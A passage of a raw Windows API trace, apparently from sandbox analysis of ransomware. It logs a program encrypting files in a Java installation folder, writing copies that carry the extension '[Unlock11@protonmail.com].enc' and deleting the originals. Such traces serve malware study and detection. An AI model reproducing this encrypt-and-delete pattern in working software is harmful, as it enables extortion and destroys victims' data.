lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.750] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.750] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.750] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.750] GetLastError () returned 0x0 [0124.750] GetCurrentThreadId () returned 0x9b0 [0124.750] GetLastError () returned 0x0 [0124.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0124.750] GetLastError () returned 0x0 [0124.751] GetLastError () returned 0x0 [0124.751] GetLastError () returned 0x0 [0124.751] GetLastError () returned 0x0 [0124.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265588 [0124.751] GetLastError () returned 0x0 [0124.751] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.752] GetFileType (hFile=0x3ac) returned 0x1 [0124.752] GetLastError () returned 0x0 [0124.752] GetCurrentThreadId () returned 0x9b0 [0124.752] GetLastError () returned 0x0 [0124.752] GetFileType (hFile=0x3ac) returned 0x1 [0124.752] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.753] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.753] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.753] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.753] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.753] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.753] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.753] GetLastError () returned 0x0 [0124.753] GetCurrentThreadId () returned 0x9b0 [0124.753] GetLastError () returned 0x0 [0124.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0124.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0124.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.754] GetLastError () returned 0x0 [0124.754] GetLastError () returned 0x0 [0124.754] GetCurrentThreadId () returned 0x9b0 [0124.754] GetLastError () returned 0x0 [0124.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.754] GetLastError () returned 0x0 [0124.754] GetLastError () returned 0x0 [0124.755] GetCurrentThreadId () returned 0x9b0 [0124.755] GetLastError () returned 0x0 [0124.755] GetLastError () returned 0x0 [0124.757] GetLastError () returned 0x0 [0124.757] GetCurrentThreadId () returned 0x9b0 [0124.757] GetLastError () returned 0x0 [0124.758] GetCurrentThreadId () returned 0x9b0 [0124.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265638 [0124.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265618 | out: hHeap=0x2ad0000) returned 1 [0124.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8658) returned 0x3700ba8 [0124.758] GetLastError () returned 0x0 [0124.758] GetLastError () returned 0x0 [0124.758] GetLastError () returned 0x0 [0124.758] GetLastError () returned 0x0 [0124.759] GetCurrentThreadId () returned 0x9b0 [0124.759] GetLastError () returned 0x0 [0124.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3700ba8 | out: hHeap=0x2ad0000) returned 1 [0124.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0124.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.759] GetLastError () returned 0x0 [0124.760] GetLastError () returned 0x0 [0124.760] GetCurrentThreadId () returned 0x9b0 [0124.761] GetLastError () returned 0x0 [0124.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.761] GetLastError () returned 0x0 [0124.761] GetLastError () returned 0x0 [0124.761] GetCurrentThreadId () returned 0x9b0 [0124.761] GetLastError () returned 0x0 [0124.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.761] GetLastError () returned 0x0 [0124.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.762] CloseHandle (hObject=0x3ac) returned 1 [0124.764] GetLastError () returned 0x0 [0124.764] GetCurrentThreadId () returned 0x9b0 [0124.764] GetLastError () returned 0x0 [0124.765] GetLastError () returned 0x0 [0124.765] CloseHandle (hObject=0x39c) returned 1 [0124.765] GetLastError () returned 0x0 [0124.765] GetCurrentThreadId () returned 0x9b0 [0124.765] GetLastError () returned 0x0 [0124.765] GetLastError () returned 0x0 [0124.765] GetLastError () returned 0x0 [0124.765] GetLastError () returned 0x0 [0124.765] GetLastError () returned 0x0 [0124.765] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0124.767] GetLastError () returned 0x0 [0124.767] GetCurrentThreadId () returned 0x9b0 [0124.767] GetLastError () returned 0x0 [0124.767] GetCurrentThreadId () returned 0x9b0 [0124.767] GetLastError () returned 0x0 [0124.767] GetLastError () returned 0x0 [0124.767] GetLastError () returned 0x0 [0124.767] GetLastError () returned 0x0 [0124.767] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x9bada4*="java-rmi.exe") returned 0x33 [0124.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.768] GetCurrentThreadId () returned 0x9b0 [0124.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0124.768] GetLastError () returned 0x0 [0124.768] GetLastError () returned 0x0 [0124.768] GetLastError () returned 0x0 [0124.768] GetLastError () returned 0x0 [0124.768] GetCurrentThreadId () returned 0x9b0 [0124.768] GetLastError () returned 0x0 [0124.769] GetCurrentThreadId () returned 0x9b0 [0124.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0124.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0124.769] GetLastError () returned 0x0 [0124.769] GetLastError () returned 0x0 [0124.769] GetLastError () returned 0x0 [0124.769] GetLastError () returned 0x0 [0124.769] GetCurrentThreadId () returned 0x9b0 [0124.769] GetLastError () returned 0x0 [0124.769] GetLastError () returned 0x0 [0124.769] GetLastError () returned 0x0 [0124.770] GetLastError () returned 0x0 [0124.770] GetLastError () returned 0x0 [0124.770] GetCurrentThreadId () returned 0x9b0 [0124.770] GetLastError () returned 0x0 [0124.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eadf0 | out: hHeap=0x2ad0000) returned 1 [0124.770] GetLastError () returned 0x0 [0124.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0124.770] GetLastError () returned 0x0 [0124.770] GetLastError () returned 0x0 [0124.770] GetLastError () returned 0x0 [0124.770] GetCurrentThreadId () returned 0x9b0 [0124.771] GetLastError () returned 0x0 [0124.771] GetCurrentThreadId () returned 0x9b0 [0124.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aaa8 [0124.771] GetLastError () returned 0x0 [0124.771] GetLastError () returned 0x0 [0124.771] GetLastError () returned 0x0 [0124.771] GetLastError () returned 0x0 [0124.771] GetCurrentThreadId () returned 0x9b0 [0124.771] GetLastError () returned 0x0 [0124.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.771] GetLastError () returned 0x0 [0124.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0124.772] GetLastError () returned 0x0 [0124.772] GetLastError () returned 0x0 [0124.772] GetLastError () returned 0x0 [0124.772] GetCurrentThreadId () returned 0x9b0 [0124.772] GetLastError () returned 0x0 [0124.772] GetLastError () returned 0x0 [0124.772] GetLastError () returned 0x0 [0124.772] GetLastError () returned 0x0 [0124.772] GetLastError () returned 0x0 [0124.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.773] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1 [0124.773] GetLastError () returned 0x0 [0124.773] GetCurrentThreadId () returned 0x9b0 [0124.773] GetLastError () returned 0x0 [0124.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.773] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662764 | out: pbBuffer=0x3662764) returned 1 [0124.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0124.774] GetCurrentThreadId () returned 0x9b0 [0124.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0124.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0124.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.774] GetLastError () returned 0x0 [0124.774] GetLastError () returned 0x0 [0124.774] GetLastError () returned 0x0 [0124.774] GetLastError () returned 0x0 [0124.774] GetCurrentThreadId () returned 0x9b0 [0124.774] GetLastError () returned 0x0 [0124.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0124.775] GetCurrentThreadId () returned 0x9b0 [0124.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae40 [0124.775] GetLastError () returned 0x0 [0124.775] GetLastError () returned 0x0 [0124.775] GetLastError () returned 0x0 [0124.775] GetLastError () returned 0x0 [0124.775] GetCurrentThreadId () returned 0x9b0 [0124.775] GetLastError () returned 0x0 [0124.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae40 | out: hHeap=0x2ad0000) returned 1 [0124.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32654d8 [0124.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3338 | out: hHeap=0x2ad0000) returned 1 [0124.776] GetLastError () returned 0x0 [0124.776] GetLastError () returned 0x0 [0124.776] GetLastError () returned 0x0 [0124.776] GetLastError () returned 0x0 [0124.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265588 [0124.776] GetLastError () returned 0x0 [0124.776] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.777] GetFileType (hFile=0x39c) returned 0x1 [0124.777] GetLastError () returned 0x0 [0124.777] GetCurrentThreadId () returned 0x9b0 [0124.777] GetLastError () returned 0x0 [0124.777] GetFileType (hFile=0x39c) returned 0x1 [0124.777] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.777] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.777] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.777] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.777] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.777] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.777] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.778] GetLastError () returned 0x0 [0124.778] GetCurrentThreadId () returned 0x9b0 [0124.778] GetLastError () returned 0x0 [0124.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0124.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.778] GetCurrentThreadId () returned 0x9b0 [0124.778] GetLastError () returned 0x0 [0124.778] GetLastError () returned 0x0 [0124.778] GetLastError () returned 0x0 [0124.778] GetLastError () returned 0x0 [0124.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265588 [0124.779] GetLastError () returned 0x0 [0124.779] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.779] GetFileType (hFile=0x3ac) returned 0x1 [0124.779] GetLastError () returned 0x0 [0124.779] GetCurrentThreadId () returned 0x9b0 [0124.779] GetLastError () returned 0x0 [0124.779] GetFileType (hFile=0x3ac) returned 0x1 [0124.780] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.780] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.780] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.780] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.780] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.780] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.780] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.780] GetLastError () returned 0x0 [0124.780] GetCurrentThreadId () returned 0x9b0 [0124.780] GetLastError () returned 0x0 [0124.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0124.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0124.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.781] GetLastError () returned 0x0 [0124.781] GetLastError () returned 0x0 [0124.781] GetCurrentThreadId () returned 0x9b0 [0124.781] GetLastError () returned 0x0 [0124.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0124.781] GetLastError () returned 0x0 [0124.781] GetLastError () returned 0x0 [0124.781] GetCurrentThreadId () returned 0x9b0 [0124.781] GetLastError () returned 0x0 [0124.782] GetLastError () returned 0x0 [0124.783] GetLastError () returned 0x0 [0124.784] GetCurrentThreadId () returned 0x9b0 [0124.784] GetLastError () returned 0x0 [0124.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0124.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3e58) returned 0x35c0a00 [0124.784] GetLastError () returned 0x0 [0124.784] GetLastError () returned 0x0 [0124.784] GetLastError () returned 0x0 [0124.784] GetLastError () returned 0x0 [0124.784] GetCurrentThreadId () returned 0x9b0 [0124.784] GetLastError () returned 0x0 [0124.785] GetCurrentThreadId () returned 0x9b0 [0124.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0124.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0124.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0124.785] GetLastError () returned 0x0 [0124.786] GetLastError () returned 0x0 [0124.786] GetCurrentThreadId () returned 0x9b0 [0124.786] GetLastError () returned 0x0 [0124.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc3a8 | out: hHeap=0x2ad0000) returned 1 [0124.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc3a8 [0124.786] GetLastError () returned 0x0 [0124.787] GetLastError () returned 0x0 [0124.787] GetCurrentThreadId () returned 0x9b0 [0124.787] GetLastError () returned 0x0 [0124.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc3a8 | out: hHeap=0x2ad0000) returned 1 [0124.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.787] GetLastError () returned 0x0 [0124.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.787] CloseHandle (hObject=0x3ac) returned 1 [0124.787] GetLastError () returned 0x0 [0124.788] GetCurrentThreadId () returned 0x9b0 [0124.788] GetLastError () returned 0x0 [0124.788] GetLastError () returned 0x0 [0124.788] CloseHandle (hObject=0x39c) returned 1 [0124.788] GetLastError () returned 0x0 [0124.788] GetCurrentThreadId () returned 0x9b0 [0124.788] GetLastError () returned 0x0 [0124.789] GetLastError () returned 0x0 [0124.789] GetLastError () returned 0x0 [0124.789] GetLastError () returned 0x0 [0124.789] GetLastError () returned 0x0 [0124.789] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0124.790] GetLastError () returned 0x0 [0124.790] GetCurrentThreadId () returned 0x9b0 [0124.790] GetLastError () returned 0x0 [0124.790] GetLastError () returned 0x0 [0124.790] GetLastError () returned 0x0 [0124.791] GetLastError () returned 0x0 [0124.791] GetLastError () returned 0x0 [0124.791] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll", lpFilePart=0x9bada4*="java.dll") returned 0x2f [0124.791] GetCurrentThreadId () returned 0x9b0 [0124.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.791] GetCurrentThreadId () returned 0x9b0 [0124.791] GetLastError () returned 0x0 [0124.791] GetLastError () returned 0x0 [0124.792] GetLastError () returned 0x0 [0124.792] GetLastError () returned 0x0 [0124.792] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x9bada4*="java.exe") returned 0x2f [0124.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.792] GetCurrentThreadId () returned 0x9b0 [0124.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0124.792] GetLastError () returned 0x0 [0124.793] GetLastError () returned 0x0 [0124.793] GetLastError () returned 0x0 [0124.793] GetLastError () returned 0x0 [0124.793] GetCurrentThreadId () returned 0x9b0 [0124.793] GetLastError () returned 0x0 [0124.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eadf0 | out: hHeap=0x2ad0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.793] GetLastError () returned 0x0 [0124.793] GetLastError () returned 0x0 [0124.793] GetLastError () returned 0x0 [0124.794] GetLastError () returned 0x0 [0124.794] GetCurrentThreadId () returned 0x9b0 [0124.794] GetLastError () returned 0x0 [0124.794] GetCurrentThreadId () returned 0x9b0 [0124.794] GetLastError () returned 0x0 [0124.794] GetLastError () returned 0x0 [0124.794] GetLastError () returned 0x0 [0124.794] GetLastError () returned 0x0 [0124.794] GetCurrentThreadId () returned 0x9b0 [0124.794] GetLastError () returned 0x0 [0124.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0124.795] GetLastError () returned 0x0 [0124.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0124.795] GetLastError () returned 0x0 [0124.795] GetLastError () returned 0x0 [0124.795] GetLastError () returned 0x0 [0124.795] GetCurrentThreadId () returned 0x9b0 [0124.795] GetLastError () returned 0x0 [0124.795] GetLastError () returned 0x0 [0124.795] GetLastError () returned 0x0 [0124.795] GetLastError () returned 0x0 [0124.795] GetLastError () returned 0x0 [0124.796] GetCurrentThreadId () returned 0x9b0 [0124.796] GetLastError () returned 0x0 [0124.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.796] GetCurrentThreadId () returned 0x9b0 [0124.796] GetLastError () returned 0x0 [0124.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0124.796] GetLastError () returned 0x0 [0124.796] GetLastError () returned 0x0 [0124.796] GetLastError () returned 0x0 [0124.796] GetCurrentThreadId () returned 0x9b0 [0124.796] GetLastError () returned 0x0 [0124.797] GetLastError () returned 0x0 [0124.797] GetLastError () returned 0x0 [0124.797] GetLastError () returned 0x0 [0124.797] GetLastError () returned 0x0 [0124.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.797] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1 [0124.797] GetLastError () returned 0x0 [0124.797] GetCurrentThreadId () returned 0x9b0 [0124.797] GetLastError () returned 0x0 [0124.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.798] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f96c | out: pbBuffer=0x347f96c) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0124.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0124.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0124.798] 